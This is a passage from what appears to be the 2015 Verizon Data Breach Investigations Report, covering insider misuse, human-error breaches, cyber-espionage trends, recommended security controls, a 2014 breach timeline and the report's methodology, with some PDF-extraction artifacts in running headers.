defenses and given access to sensitive and valuable data, with the expectation that they will use it only for the intended purpose. Sadly, that’s not always the way things work. As with prior years, the top action (55% of incidents) was privilege abuse—which is the defining characteristic of the internal actor breach. We see individuals abusing the access they have been entrusted with by their organization in virtually every industry. And it’s all about grabbing some easy Benjamins for these mendacious malefactors, with financial gain and convenience being the primary motivators (40% of incidents), whether they plan to monetize stolen data by selling it to others (such as with financial data) or by directly competing with their former employer. Coming in a not-so-distant second is the motive of convenience (basically using an unapproved work- around to speed things up or make it easier for the end user), and while this is not something that is intended to harm the organization, it certainly often has the same result. This year, we saw more incidents involving the end user than ever before. And check this out: Since 2011, cashiers have topped the actor charts for misuse, but no longer. This is disconcerting news, considering how many regular end users make up the population of any given organization. 54 Because security never takes a vacation.INSIDER MISUSE Figure 38. Variety of internal actor within Insider Misuse pattern (n=125)0.8%1.6%4%5.6%6.4%8%10.4%11.2%16.8%37.6% HELP DESKSYSTEM ADMINCALL CENTERDEVELOPERMANAGEROTHEREXECUTIVEFINANCECASHIEREND USERMost affected industries: Public, Healthcare, and Financial ServicesPOiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSS INSIDER MISUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 2015 DATA BREACH INVESTIGATIONS REPORT 47Finally, you know all those SOX, PC i, and internal audit-mandated controls that seem to single out the dastardly system administrator? Well, either all of those controls are doing their job and working perfectly, or you might want to consider rebalancing where you’re focusing your potentially outdated control frameworks. HOW DO I LEARN MORE?Catching insider abuse is not easy. You need to have a good handle on all the dependencies (iT and otherwise) in your critical processes. Begin by identifying those core areas and then look for activities to track or places where you need to insert additional auditing and fraud- detection capabilities so you can get ahead of the attackers. in many of the incidents we reviewed, the insider abuse was discovered during forensic examination of user devices after individuals left a company. Setting up a similar process in your organization can at least tell you what happened. Though it might be too late at that point for damage control, you may be able to apply some lessons learned to shore up gaps in your processes. in cases where the data has been taken by trusted insiders, two of our partners—Mishcon de Reya and Winston & Strawn—have some additional recommendations on what has worked in practice for remedies, both in the E.U. and in the U.S. USING DATA SCIENCE TO TRUST BUT VERIFY Detecting misuse is also one area where the application of modern data-science practices may shine, according to Stephan Jou, CTO of i nterset. All you need is data, features, and math. Users leave footprints wherever they go on the network, and their activities are—or can be—captured in a myriad of logs. The key is to collect and collate these data sources into a place where they can be analyzed. Once you have the data you need, analysis is performed using inferred or computed elements of the data known as features. Some potential features include: • Volume or amount of content transfer, such as e-mail attachments or uploads • Resource-access patterns, such as logins or data repository touches • Time-based activity patterns, such as daily and weekly habits • indications of job contribution, such as the amount of source code checked in by developers • Time spent in activities indicative of job satisfaction or discontent The process of selecting and engineering features is the most critical step in building a data-science–based solution. Good features with the simplest model will always trump the fanciest math that only has access to poor ones. Once you have developed solid features, you can generate probabilistic models; compute intelligent thresholds (by user or user groups); and correlate, corroborate, and aggregate “risky” events at scale with higher degrees of confidence than simple Boolean (yes/no) alert correlation. By focusing on the attributes and behaviors of these entities (e.g., your users and resources) instead of coarse, simplistic threshold anomalies, you can compute risk scores down to the user or system level rather than getting lost in a sea of event data, and narrow the gap between insider abuse and successful detection. For example, most developers on the same project have resource-access patterns that include the same code repositories. Looked at as a whole, this forms clusters of access. When a developer accesses a repository outside of his cluster, it creates a long, obvious relationship that probably wouldn’t occur normally. When the developer then transfers an unusual volume of data at an unlikely time, i nterset uses machine learning to infer that she was up to no good, even though any one of the indicators on its own could have been a false positive.55% THE TOP ACTION WAS PRIVILEGE ABUSE—AT 55% OF INCIDENTS—WHERE INTERNAL ACTORS ABUSE THE ACCESS THEY HAVE BEEN ENTRUSTED WITH.POiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSS INSIDER MISUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 48 VERIZON ENTERPRISE SOLUTIONSREMEDIES FOR INSIDER DATA THEFT A company’s competitive edge in the market often derives from the quality of its confidential and proprietary information. in England, there are extremely powerful civil injunctions available that allow the aggrieved party, without prior notice to the alleged data thief (similar to a search warrant in a criminal law context), to search a defendant’s premises for hard-copy evidence and take copies of all of their electronic devices on the relevant premises, including computers, phones, all e-mail accounts (web or otherwise), clouds, and any other devices and data-holding platforms. The injunctions also require deletion of the relevant stolen material after the devices have been copied under the court order. They also provide for the non-use of the relevant data so that even if the defendant fails in the deletion process, they are not allowed to use the stolen data. i f they do, they are in breach of the court order. Any breach of these types of court orders can lead to a finding of contempt of court and consequently fines and imprisonment. Mishcon de Reya has imprisoned several defendants for failure to comply with our orders. in all of the cases we have run using these nuclear remedies, we have essentially won the case (either by settlement or trial) and retrieved the stolen data. And if the other side had the capacity to pay the legal costs of the case, then those costs were paid in full or in part. Similar remedies are available in Commonwealth of Nations countries such as Australia, Canada, South Africa, and New Zealand. Certain E.U. countries also have similar remedies, but mainly in an i P context. These remedies are not available in the United States and are solely the domain of the law enforcement organizations. in the U.S., there are two options: 1. The Temporary Restraining Order (TRO)—which is expensive and time consuming— ultimately may lead to the recovery of data. Due to the nature of the discovery process, this could actually further expose the data. Even in the case of a settlement or disposition, the recovery of the data may not happen unless the settlement has outlined procedures to inspect computers, recover data, etc. 2. The cooperative/demand letter. Winston & Strawn has experienced 100% cooperation in these instances. Although this option tends to be used in less-egregious cases, it has often resulted in a greater chance of recovering the data than a TRO. i t is also a much faster and less expensive option. Many practitioners do not use these tools, as they are technically challenging and can have adverse consequences if improperly obtained. But when properly executed, they are effective ways for victims of internal (and external) data theft to fight back by retrieving stolen confidential information, and most importantly, protecting their businesses before sustaining significant financial loss.POiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSS INSIDER MISUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 2015 DATA BREACH INVESTIGATIONS REPORT 49Stephen Dedalus, a character in James Joyce’s Ulysses , says, “Mistakes are the portals of discovery.” In the case of the DBIR, they are also the gateways to breaches. The globe spins, people continue to make mistakes, and organizations suffer losses across the C-I-A triad as a result. While the industries represented in this year’s data set mirror prior reports—largely due to disclosure regulations for Public and Healthcare (just like the Physical Theft/Loss pattern)— a new incident type has clawed its way into the top 10 error varieties. We’ll take a closer look at that one in a bit. As with years past, errors made by internal staff, especially system administrators who were the prime actors in over 60% of incidents, represent a significant volume of breaches and records, even with our strict definition of what an “error” is.55 if we strip away all the fancy VER iS terminology, there are three main, traditional categories of error incidents: “D’oh!” Sensitive information reaching incorrect recipients 30% of incidents “My bad!” Publishing nonpublic data to public web servers 17% of incidents “Oops!” insecure disposal of personal and medical data 12% of incidents 55 We define Miscellaneous Error within the VER iS framework as an action that directly leads to attribute loss. This conservative approach prevents general bad security practices being labeled as errors and focuses on causal events. To keep this pattern uncluttered, we continue to give Physical Theft/Loss its own pattern.MISCELLANEOUS ERRORS Figure 39. Variety of errors (n=193)0.5%1%1.6%2.6%2.6%3.6%11.9%17.1%29.5%30.6% OMISSIONDATA ENTRY ERRORPHYSICAL ACCIDENTSMALFUNCTIONPROGRAMMING ERRORMISCONFIGURATIONDISPOSAL ERRORPUBLISHING ERRORCAPACITY SHORTAGEMISDELIVERYMost affected industries: Public, Information, and HealthcarePOiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSE MISCELLANEOUS ERRORSCYBER- ESP iONAGE 50 VERIZON ENTERPRISE SOLUTIONSAs with last year, due to government reporting requirements, the number of Public sector breaches dwarfed all other data by an order of magnitude, and in the interest of trying to tease out useful information to the broader set of industries, we removed the Public data from the corpus for the rest of this analysis. Suffice it to say that government agencies send out heaps of mailings that many times take a wrong turn at Albuquerque. With the chaff filtered out, the new incident pattern we alluded to earlier made it into the top 10 this year. One-quarter of the errors last year were capacity planning issues. How is this a VER iSizable error, you ask? Say you’re the system administrator for a soon-to-be-released online multiplayer video game. Your company sold 10 million pre-orders, but requisitioned your five online game servers at the local flea market. The chances of them holding up to the demand are, well, not good. Service interruptions or performance degradation when infrastructure designed for a normal day receives exponentially more traffic is not a surprising outcome. Another example is what we’re calling the Law of Unintended Content Popularity. The Hacker News/Reddit/Fark/Slashdot effect has been around for a long time, and availability losses due to self-inflicted DoS or overloads of legitimate page visits are the end result. THE DANGERS OF FTP SERVERS According to One World Labs (OWL), an enterprise security assessment and consulting firm, their team of threat intelligence analysts encounters publicly accessible FTP servers on a daily basis. As part of the company’s Deep Web research process, which maps their clients’ digital and online footprint, OWL analysts are “tripping over” company and individual FTP sites requiring no authentication. Even worse, many of these sites contain large volumes of intellectual property and personally identifiable information (P ii). OWL considers unsecured FTP servers one of the greatest risks to company and individual data integrity. Depending on the FTP servers’ configuration, most can be accessed by web browsers, which makes them a flexible and attractive vehicle for companies and individuals to remotely access documents. Companies and individuals use FTP servers for a variety of reasons. Some companies use FTP servers to share project documents between team members working at different client locations. Users frequently use FTP servers to back up home computers, and often unbeknownst to their employers, their work computers as well. Examples of material found on a regular basis by OWL analysts in the course of their normal duties include: • Usernames and passwords for various accounts and enterprise hardware • Company documents marked “Proprietary” or “Confidential” • Proprietary software files • Partnering agreements • individual tax documents • individual medical records • individual military service records OWL emphasizes the ease with which all of this data can be located. i n many cases, a simple Google® search can reveal millions of results from unsecured FTP servers. They note that most of these issues could be remediated by the FTP owner simply requiring a username and password to access the server and by disabling the anonymous login feature. The inherent difficulty for OWL when finding this extremely sensitive material is the lack of a defined and trusted process to notify the affected party, with whom there may be no previously existing relationship. Past attempts to warn companies and individuals of their data exposure were often met with skepticism, and in some cases, hostility. OWL underscores the need for the information security industry to establish a process to educate and warn parties of the dangers of unsecured FTP servers.60% OF INCIDENTS WERE ATTRIBUTED TO ERRORS MADE BY SYSTEM ADMINISTRATORS—PRIME ACTORS RESPONSIBLE FOR A SIGNIFICANT VOLUME OF BREACHES AND RECORDS.POiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSE MISCELLANEOUS ERRORSCYBER- ESP iONAGE 2015 DATA BREACH INVESTIGATIONS REPORT 51HOW DO I LEARN MORE? Track all the VER iS error-variety action incidents in your organization and manage to the resulting error-rate metric. Understand where goofs, gaffes, fat fingers, etc., can affect sensitive data. Track how often incidents related to human error occur. Measure effectiveness of current and future controls, and establish an acceptable level of risk you are willing to live with, because human fallacy is with us to stay. Finally, learn from your mistakes. Was the root cause a combination of autocomplete in the “To:” field and similarly named e-mail aliases? Did the staff member not have the understanding that loan applications don’t go in the regular trash? Was the process to publish updates to the web server built by Rube Goldberg and prone to misconfiguration? Those answers to your real-world events will guide your specific countermeasures better than an industry report can.According to mock attack data provided by Wombat Security, 35% of end users are vulnerable to USB-initiated attacks. This susceptibility was collected across numerous industries such as Energy, Chemical, information, Consulting, Services, and Distribution.POiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSE MISCELLANEOUS ERRORSCYBER- ESP iONAGE 52 VERIZON ENTERPRISE SOLUTIONSEach year, the crack DBIR team digs through thousands upon thousands of incidents. Some categories, like Miscellaneous Errors or Payment Card Skimmers, can be as exciting as watching paint dry. Others, like those in the Cyber-Espionage pattern, have the allure of a Super Bowl extravaganza; this past year, we even had the Left Shark of attribution to keep us amused and entertained. While it was fun watching the fireworks, blog posts, and coping mechanisms fly by, looking at the 548 incidents in this pattern left us all wanting for a bit more, especially since two-thirds of them had no attacker-attribution information whatsoever. Rather than take the easy way out and blame China, North Korea, or the NSA by default, we decided to see what the data could tell us about the other, known aspects of these breaches. Two-thirds of the incidents in this pattern had no attacker-attribution information whatsoever. First, we have to level-set a bit. We know it’s fun to repeat the mantra that nobody is immune from being a target of Cyber-Espionage. And while it’s true most industries make an appearance in the role of victim, not all victims are created equal. Figure 40 shows a heavy slant toward Manufacturing, CYBER-ESPIONAGE Figure 40. Top 10 espionage-targeted industries (n=460)0.7%0.8%1.3%1.7%1.8%3.9%6.2%13.3%20.2%27.4% HEALTHCAREFINANCIAL SERVICESREAL ESTATE EDUCATIONALTRANSPORTATION UTILITIESINFORMATION PROFESSIONAL PUBLIC MANUFACTURING Most affected industries: Manufacturing, Public, and ProfessionalPOiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORS CYBER- ESPIONAGE 2015 DATA BREACH INVESTIGATIONS REPORT 53Government, and i nformation Services. The usual heavy-hitters (or maybe the heavy hit), such as Financial Services and Retail, are barely a blip on the radar. For those industries, priority should be given to other patterns of attacks and Figure 41 should be the guide. incidents within the pattern of Cyber-Espionage can be described at a high level relatively easily: Social attacks (typically phishing) are often the calling card with Swiss Army knife–caliber malware delivered as the housewarming present. But if we dig down a little deeper, there’s a rather impressive and rich diversity in the details. For example, the vector of malware installation is mostly through phishing, but was split between either attachments or links, and malware installed through web drive-by has made a stronger-than-normal appearance this year.Figure 41. Vector of malware installation (n=361) Figure 42. Variety of data compromised within Espionage (n=457)0.3%1.9%2.2%2.8%3.6%16.6%37.4%39.9% NETWORK PROPAGATIONREMOTE INJECTIONWEB DOWNLOADDOWNLOAD BY MALWAREDIRECT INSTALLWEB DRIVE−BYE-MAIL LINKE-MAIL ATTACHMENT 0.2%0.4%0.4%0.7%2.4%2.6%6.6%8.5%11.4%85.8% DIGITAL CERTIFICATECOPYRIGHTEDPAYMENTBANKCLASSIFIEDPERSONALSYSTEMINTERNALCREDENTIALSSECRETSPOiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORS CYBER- ESPIONAGE 54 VERIZON ENTERPRISE SOLUTIONSThe variety of data taken provides some explanation for the diversity. Secrets, credentials, internal, and system data are taken, whereas in other patterns the primary goals were personal information, health records, and banking data. i t seems these modern-day cyber Slugworths are more concerned with the secret formula behind the Everlasting Gobstopper than they are your Twitter password. HOW DO I LEARN MORE?Before we point you in the direction of data you should be collecting and analyzing, the reality is that if a determined, state-sponsored adversary wants your data, they’re going to get it unless another state-sponsored entity helps you defend it. Having said that, if you’ve got your own Gobstoppers to protect, start collecting data. Now. Seriously. Put this report down and go set up your syslog servers. We’ll wait. You back? Good. Now, specifically, start amassing e-mail transaction logs (in general), records of attachments, and records of links in e-mails. Log all DNS web-proxy requests and invest in solutions that will help you ingest and analyze this data both on the fly and forensically. Even if you don’t manage to detect or deter these adversaries, you will at least have a much easier time figuring out what they did after the fact.Log all DNS web-proxy requests and invest in solutions that will help you ingest and analyze this data.POiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORS CYBER- ESPIONAGE 2015 DATA BREACH INVESTIGATIONS REPORT 552015 marks the third year we have worked with the Council for Cybersecurity in an effort to combine its Critical Security Controls (CSCs) with the real-world methods used by various threat actors, to provide you with evidence-based recommendations. Now, of course, it’s impossible for us to know exactly what YOU need to do. On the other hand, we aren’t going to write pages and pages of eloquent prose, only to end with, “Well, all that sure was depressing. kthxbai.”56 We started by conducting a mapping exercise of the top 2015 threat action varieties to CSC sub-controls. Not perfect, but starting with the most common attack methods, and finding the controls that are designed to counteract said methods, is still a worthwhile effort, and the latest iteration is available online .57 The introduction of the incident classification patterns last year allowed us to make industry-specific recommendations based on the likelihood that your industry would be affected by a particular pattern. Upon review of this year’s data, the changes were not statistically significant in either the relationship between the industries and patterns, or within the attack methods used to warrant a redo. i f this is your first go-round with the DB iR, last year’s report 58 is eagerly awaiting you and would appreciate a click or two now that it’s no longer the new kid in town. This year, we decided to focus our efforts on the incidents where we had the most detailed data. We wanted—to the best extent possible—to discern what was the initial (or most significant) weakness that allowed the incident to succeed. We’re gonna drop some Six Sigma on you now,59 because we started with a 5 Whys analysis to find the critical omission by the victim. You may have noticed that we haven’t said “root cause” yet. There are numerous reasons for this. Even with a detailed technical report, the actual root cause typically boils down to process and human decision making. For example: Payment card data was captured from an e-commerce web application. • Why? —Because the threat actor made changes in the payment application code to capture and send data when processed. • Why? —They bypassed authentication to upload a backdoor to the server via Remote File inclusion (RF i). • Why? —Because the JBoss version was outdated and vulnerable to a widely known attack. • Why? —Because the server software hadn’t been updated in years. • Why? —This is where it gets tricky. Because…they thought their third-party vendor would do it? Because…they didn’t know they had to? Because…they thought they had, but failed to check implementation? Because…they had insufficient processes in place to manage their risk? Without a really, really good understanding of the business culture and all of the variables (budget, turnover, politics) that could be in place, a true root cause is hard to pin down and may be speculative at best. Each of these incidents could be a case study in its own right. 56 “OK, thank you, goodbye.” 57 sans.org/media/critic al-security-cont rols/critical_security_controls_v4.0.pdf 58 verizonenterprise.com/DB iR/2014/ 59 The attackers can’t have all the fun with Six Sigma process optimization.WRAP-UP This year, we focused efforts on incidents where we had the most detailed data. We wanted to discern what allowed the incident to succeed. 5 WHY s PERFORM A 5 WHY s ANAL YSIS, AS YOU ARE THE PERSON BEST SITUATED TO DO SO. 56 VERIZON ENTERPRISE SOLUTIONSThe second reason that made this exercise a challenge was running into environments with numerous gaps in their baseline security practices. Victims that have a web server vulnerable to SQL injection, an open admin application login page, a flat network, and (to top it all off) no logging to speak of make it very difficult to figure out which of these potential doors was kicked in. i n these cases, no attempt was made to hone in on a single control. i n these circumstances, it might even make sense to rebuild the entire organization’s security strategy from the ground up. Without a really, really good understanding of the business culture and all of the variables, a true root cause is hard to pin down. The third reason was touched on above. i n many of the cases, no information was available to find the best control to disrupt the attack. A classic example is evidence of malware that did something bad. Merely rubber-stamping “Get AV” is a very myopic thing to suggest in this exercise. Did they have AV? Was it kept up to date? Did their vendor have a signature for that particular variant on the day the infection occurred? How did the infection occur? Was the user baited into opening an attachment? i f so, should the e-mail attachment filtering have blocked it there? i think you get the point, and it brings us to our first and most critical recommendation. Do this stuff in your organization if you aren’t already. Learn from incidents and near misses, something we have been preaching for years. Make use of the publicly available VER iS framework or collect data in another structured fashion. Perform a 5 Whys analysis, as you are the person best situated to do so. Use this report as a tool and source of information and in a supplementary role to your own knowledge of your business and security practices. NO. THERE IS TOO MUCH. LET US SUM UP We gathered up all the nuggets of mitigation wisdom from our reviews and tallied up the percentage of incidents where a CSC control could be applied as the recommended strategy. You can see the results in the table below: CSC DESCRIPTION PERCENTAGE CATEGORY 13-7 2FA 24% Visibility/Attribution 6-1 Patching web services 24% Quick Win 11-5 Verify need for i nternet-facing devices7% Visibility/Attribution 13-6 Proxy outbound traffic 7% Visibility/Attribution 6-4 Web application testing 7% Visibility/Attribution 16-9 User lockout after multiple failed attempts5% Quick Win 17-13 Block known file transfer sites 5% Advanced 5-5 Mail attachment filtering 5% Quick Win 11-1 Limiting ports and services 2% Quick Win 13-10 Segregation of networks 2% Configuration/Hygiene 16-8 Password complexity 2% Visibility/Attribution 3-3 Restrict ability to download software2% Quick Win 5-1 Anti-virus 2% Quick Win 6-8 Vet security process of vendor 2% Configuration/Hygiene What is very interesting is that the percentage (40%) of controls determined to be most effective (given the deep dive into the event chains) fall into the Council’s Quick Win category. The results of this process actually reinforce things we’ve said in the past: Don’t sleep on basic, boring security practices. Stop rolling your eyes. i f you feel you have met minimum-security standards and continue to validate this level of information, then bully for you! i t is, however, still apparent that not all organizations are getting the essentials right.Figure 43. Critical security controls mapped to incident event chains (Verizon caseload only)40% OF CONTROLS DETERMINED TO BE MOST EFFECTIVE FALL INTO THE QUICK WIN C ATEGORY. 2015 DATA BREACH INVESTIGATIONS REPORT 57As the light of the new year dawned in 2015, the primary focus of the Verizon Cyber Intelligence Center was discerning actionable intelligence surrounding the Retail vertical data breaches at Target and Neiman-Marcus, which took place in late 2014. Risks to payment systems would prove to be a recurring trend throughout the year. Reports of a breach at Target, stemming from the loss of credentials at one of their vendors, would grow into a larger theme for many other breaches during the remainder of 2014. January’s largest breach impacted 4.5 million users of Snapchat, whose user names and phone numbers were compromised. February kicked off with Kaspersky’s discovery of a zero-day attack using an Adobe® Flash® Player vulnerability. Two weeks later, FireEye and Websense reported on Operation Snowman, which used another zero-day, this one in i nternet Explorer® ( iE), on the websites of the Veterans of Foreign Wars (vfw.org) and Groupement des industries françaises aéronautiques et spatiales (gifas.asso.fr). Operation GreedyWonk used yet another Adobe Flash zero-day against the websites of two national security/international relations organizations. As many as 5.6 million people who pledged money through Kickstarter were the victims of the month’s largest reported breach. The second zero-day i E vulnerability in as many months was discovered after going through March’s Patch Tuesday bulletins; Symantec revealed it was used in a watering hole attack. GData and BAE alerted us to the Uroburos/Turla/Snake campaign that would be in new collections every month for the rest of 2014. Symantec attributed 2013’s biggest breaches to the Cyclosa threat actor. Korean telecommunications company KT reported the first of 2014’s megabreaches to affect that country, after the account information of 12 million customers was compromised. if only Heartbleed had been an April fool’s joke. Alas, it became the first of three tumultuous vulnerabilities in open-source software (OSS) we responded to last year. i t was a vulnerability in OpenSSL that enabled an attacker to steal 64 Kb of plaintext memory from a vulnerable application. DLR, the German Space Center, Michaels Stores, and digital storage company LaCie vied for the biggest breaches of April. After skipping a month, zero-day attacks returned in May with FireEye’s report of Operation Clandestine Fox and another unpatched i E vulnerability leading to an out-of-cycle Microsoft® security bulletin only four days after the first report. Adobe also demonstrated agility when it was compelled to patch another Flash Player zero-day used in watering hole attacks reported by Kaspersky. The breach affecting the most users in 2014 was reported by eBay after attackers used compromised credentials to access their database of 145 million customers. The good guys collected their biggest win of 2014 in June with the disruption of the operation behind the Gameover Zeus botnet and Cryptolocker ransomware. Later in the month, Microsoft disrupted the NJrat/NJworm infrastructure. But a new banking Trojan, Dyre aka Dyreza, made its appearance, trying to steal some of the spotlight from Zeus. A data breach at PF Chang’s was probably June’s most high-profile breach after BAE’s report of a hedge fund breach on CNBC was revealed to be vacuous.APPENDIX A Year in Review JAN SNAPCHAT 4.5 million compromised names and phone numbers FEB KICKSTARTER 5.6 million victims MAR KOREAN TELECOM One of the year’s largest breaches affected 12 million customers APR HEARTBLEED First of three open-source vulnerabilities in 2014 M AY eBAY Database of 145 million customers compromised JUN PF CHANG’S Most high-profile data breach of the month 58 VERIZON ENTERPRISE SOLUTIONSin July , the Cyber i ntelligence Center collected a bounty of detailed reports on sophisticated threat actors and their attacks. Attacks on the Energy vertical by “Energetic Bear” were reported by F-Secure, Symantec, CrowdStrike, RSA, FireEye, and Palo Alto Networks. “Pitty Tiger” was outed by Airbus and McAfee. SW iTCH.ch and Trend Micro reported Operation Emmental, a complex attack on 34 banks using spear phishing and malware to defeat SMS-based two-factor authentication. Samsung suffered a US$38 million loss from physical risks when a plant in Brazil was robbed. Australian e-tailer Catch of the Day revealed the other large breach in July, but offered no explanation as to why it was reporting a P ii/PF i breach that occurred in 2011. Early in August , we learned of Backoff POS malware that uses brute-force attacks on remote access to payment systems. Cybervor, a small Russian crew’s collection of 1.2 billion compromised credentials, seemed almost too fantastic to take seriously until it was tied to one of the year’s most high-profile data breaches. Three significant breaches were reported in August: UPS announced a POS malware breach at 51 of its stores, followed by unfounded speculation that Backoff was the cause. Community Health Systems disclosed a data breach involving the P ii, but not PH i or PF i, of 4.5 million patients. And JP Morgan Chase reported it was responding to a data breach that we later learned was discovered after following Cybervor bread crumbs. September kicked off with the breach of hundreds of celebrity iCloud® accounts after their credentials were compromised. The Shellshock bug in Bash was 2014’s second tumultuous OSS vulnerability event, quickly eclipsing Heartbleed due to many more successful attacks. The next high-profile breach report was caused by POS malware at Home Depot, affecting 56 million of its customers. Zero-day attacks returned with a vengeance in October when Quedagh or Sandworm spun off from BlackEnergy, attacking a new Windows OLE vulnerability, and then CrowdStrike added a new Kernel Mode driver attack distributing PlugX RAT. Adobe patched Flash Player, but the notice that attacks were in the wild was delayed until November. October occasioned the third huge OSS bug, POODLE, but we assessed that it was more smoke than spark. A gap in strong authentication and compromised credentials were identified as the causes of the JP Morgan data breach. The most high-profile breach was of unclassified White House networks, attributed to Russian threat actors. Flaws in Microsoft crypto implementations were the subject of many collections in November after the Patch Tuesday Schannel security bulletin and an out-of-cycle bulletin for Kerberos that could not have come at a worse time for the Retail vertical; contrary to popular predictions, neither emerged as another Heartbleed. Adobe patched a Flash Player zero-day discovered in the Angler exploit kit, along with one of the previous month’s zero-days. i t seemed like intelligence about the Regin espionage platform would bring the month to a close, until the data breach at Sony Pictures Entertainment (SPE) rocketed to the top of the list of high-profile data breaches. Adobe updated Flash for the fifth zero-day of the year. Another Cyber-Espionage campaign, “inception Framework,” was reported by Blue Coat and Kaspersky. December 2014 in the Cyber intelligence Center was very similar to December 2013—just swap in SPE for Target. We were intensely focused on processing everything SPE-related to discern some actionable intelligence. Trend Micro tied malware used to attack the Korea Hydro and Nuclear Power Co. to the SPE breach. So raise a glass to turnings of the season—like last year, 2014 ended with focus around a high-profile breach. JUL ENERGETIC BEAR Cyberspying operation targeted the energy industry AUG CYBERVOR 1.2 billion compromised credentials SEP iCLOUD Celebrity accounts hacked OCT SANDWORM Attacked a Windows vulnerability NOV SONY PICTURES ENTERTAINMENT Highest-profile hack of the year DEC INCEPTION FRAMEWORK Cyber-Espionage attack targeted the public sector 2015 DATA BREACH INVESTIGATIONS REPORT 59Based on feedback, one of the things readers value most about this report is the level of rigor and integrity we employ when collecting, analyzing, and presenting data. Knowing our readership cares about such things and consumes this information with a keen eye helps keep us honest. Detailing our methods is an important part of that honesty. Our overall methodology remains intact and largely unchanged from previous years. With 70 organizations contributing data this year, there is no single means used to collect and record the data. i nstead, we employed different methods to gather and aggregate the data produced by a range of approaches by our contributors. Once collected, all incidents included in this report were individually reviewed and converted (if necessary) into the VER iS framework to create a common, anonymous aggregate data set. But the collection method and conversion techniques differed between contributors. i n general, three basic methods (expounded below) were used to accomplish this: 1. Direct recording by Verizon using VER iS 2. Direct recording by contributors using VER iS 3. Recoding using VER iS from a contributor’s existing schema All contributors received instruction to omit any information that might identify organizations or individuals involved, since such details are not necessary to create the DB iR. Sharing and publishing incident information isn’t easy, and we applaud the willingness and work of all the contributors to make this report possible. We sincerely appreciate it. VERIZON’S DATA-COLLECTION METHODOLOGY The underlying methodology we used is unchanged from previous years. All results are based on firsthand evidence collected during paid external forensic investigations and related intelligence operations we conducted from 2004 through 2014. The 2014 caseload is the primary analytical focus of the report, but the entire range of data is referenced throughout. Once an investigation is completed, our analysts use case evidence, reports, and interviews to create a VER iS record of the incident(s). The record is then reviewed and validated by other members of the team to help ensure we’re working with reliable and consistent data. METHODOLOGY FOR CONTRIBUTORS USING VERIS Contributors using this method provided incident data to our team in VER iS format. For instance, agents of the U.S. Secret Service (USSS) used an internal VER iS-based application to record pertinent case details. Several other organizations recorded incidents directly into an application 60 veri scommunity.net/ 61 github.com/vz-risk/verisAPPENDIX B Methodology A BRIEF PRIMER/ REFRESHER ON VERIS VER iS is designed to provide a common language for describing security incidents in a structured and repeatable manner. i t takes the narrative of “who did what to what (or whom) with what result” and translates it into the kind of data you see in this report. Because we hope to facilitate the tracking and sharing of security incidents, we released VER iS for free public use. Get additional information on the VER iS community site; 60 the full schema is available on GitHub.61 Both are good companion references to this report for understanding terminology and context. 60 VERIZON ENTERPRISE SOLUTIONSwe created specifically for this purpose. For a few contributors, we captured the necessary data points via interviews and requested follow-up information as necessary. Whatever the exact process of recording data, these contributors used investigative notes, reports provided by the victim or other forensic firms, and their own experience gained in handling the incident. METHODOLOGY FOR INCIDENT CONTRIBUTORS NOT USING VERIS Some contributors already collect and store incident data using their own framework. A good example of this is the CERT i nsider Threat Database compiled by the CERT i nsider Threat Center at the Carnegie Mellon University Software Engineering i nstitute. For this and other similar data sources, we created a translation between the original schema and VER iS, and then recoded incidents into valid VER iS records for import into the aggregate data set. We worked with contributors to resolve any ambiguities or other challenges to data quality during this translation and validation process. SECURITY INCIDENTS VERSUS DATA BREACHES The DB iR has traditionally focused exclusively on security events resulting in confirmed data disclosure rather than the broader spectrum of all security incidents. i n the 2013 DB iR, we deviated from that tradition slightly by collecting and referencing a large number of confirmed security incidents. The 2014 DB iR captured additional incident types, such as denial-of-service attacks, compromises of systems without data loss, and a very large bucket of incidents where data loss was just simply unknown. The 2015 DB iR incident and breach collection processes had no substantial changes from the 2014 DB iR. While we think this change is for the better (and we hope you do too), it does mean our report on data breaches will include more than data breaches. NON-INCIDENT DATA The 2015 DB iR includes sections that required the analysis of data that did not fit into our usual categories of “incident” or “breach.” For each, we aligned data elements to the VER iS framework (where appropriate) and validated our assumptions and approaches with each of the respective contributing partners throughout the analysis process. The analyses were performed using reproducible research methodologies, and multiple team members validated all results. COMPLETENESS AND COMPLEXITY Since each partner records incident or breach data for different purposes, not all VER iS enumerations are present for each record. The fewer the enumerations, the more difficult it is to use the records in any meaningful way (besides raw, generic, and unhelpful “counts of unknowns”) in analyses. We employed an automated selection framework that separated out low-quality incidents (think “nearly every enumeration set to ‘unknown’”) from those that would support more informed analyses. The algorithm we used assigned a score to each record based on two main criteria: “completeness” (i.e., “was each core section—actor, action, assets, attribute, victim, timeline, discovery method, and targeted—filled out”) and “complexity” (i.e., “how well was each section populated”). The result is 